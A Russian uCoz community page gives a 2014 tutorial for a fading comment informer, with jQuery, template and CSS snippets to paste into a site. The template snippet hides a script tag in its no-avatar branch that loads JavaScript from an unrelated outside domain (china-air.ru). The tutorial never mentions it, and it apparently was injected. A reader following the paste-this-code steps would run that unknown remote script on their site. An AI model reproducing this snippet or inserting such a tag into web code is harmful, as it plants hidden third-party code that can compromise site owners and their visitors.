Приморско-Ахтарск - Мой город Приморско-Ахтарск! - Обзор

Регистрация

Вход
Воскресенье, 22.12.2024, 07:07
Открой город для себя!               Мой город Приморско-Ахтарск!
PDA версия сайта | ОднаКнопка |Приветствую Вас Гость | RSS
Категории раздела
Всё для uCoz [155]
Скрипты, слайдеры, украшательства
Новости из мира софта [1]
О релизах новых продуктов и версий, а также о значительных событиях из мира софта.
Продвижение сайтов [19]
Продвижение молодых сайтов


Реклама

САЛОН КРАСОТЫ "КЛЕОПАТРА"
kleo

Наш опрос
Какой отдых предпочтительней ?
Всего ответов: 501
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
Главная » 2014 » Август » 29 » Информер с плавным обновлением коментариев
15:15
Информер с плавным обновлением коментариев

Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее. 

Установка! 

Ставим этот скрипт после тега <body>: 


Код
<script type="text/javascript">  
  $(document).ready(function(){  
  var first = 0;  
  var speed = 700;  
  var pause = 3500;  
   
  function removeFirst(){  
  first = $('ul#center_dm_ru li:first').html();  
  $('ul#center_dm_ru li:first')  
  .animate({opacity: 0}, speed)  
  .fadeOut('slow', function() {$(this).remove();});  
  addLast(first);  
  }  
   
  function addLast(first){  
  last = '<li style="display:none">'+first+'</li>';  
  $('ul#center_dm_ru').append(last)  
  $('ul#center_dm_ru li:last')  
  .animate({opacity: 1}, speed)  
  .fadeIn('slow')  
  }  
   
  interval = setInterval(removeFirst, pause);  
  });  
  </script>

Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код: 


Код
<li>  
  <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>  
  </li>
Вставляем этот код в блок и меняем на свой информер: 


Код
<ul id="center_dm_ru">  
  $MYINF_1$  
  </ul>
И прописываем в css стили информера: 


Код
#center_dm_ru {  
  overflow:hidden;  
  height:250px;  
  width:250px;  
  border:solid 1px #C8D9E5;  
  padding: 0px 0px 0px 0px;  
  background: #F8FCFF;  
  }  

  #center_dm_ru li {  
  list-style:none;  
  overflow:hidden;  
  border-top: 1px solid #fff;  
  border-bottom: 1px solid #C8D9E5;  
  padding: 10px 5px 10px 5px;  
  }  

  .coment_avatar {  
  float:right;  
  width:25px;  
  height:25px;  
  background: #F3F3F3;  
  margin-left: 5px;  
  padding: 2px;  
  border:1px solid #C8D9E5;  
  }  

  .massage_link:link,  
  .massage_link:visited {  
  text-decoration: none;  
  color:#555;  
  }  

  .massage_link:hover {  
  color:#999;  
  }  

  #center_dm_ru li a:hover img {  
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);  
  -moz-opacity: 0.5;  
  opacity: 0.5;  
  filter: alpha(opacity=50);  
  }

Категория: Всё для uCoz | Просмотров: 620 | Добавил: primahtarsk | Рейтинг: 0.0/0
Поиск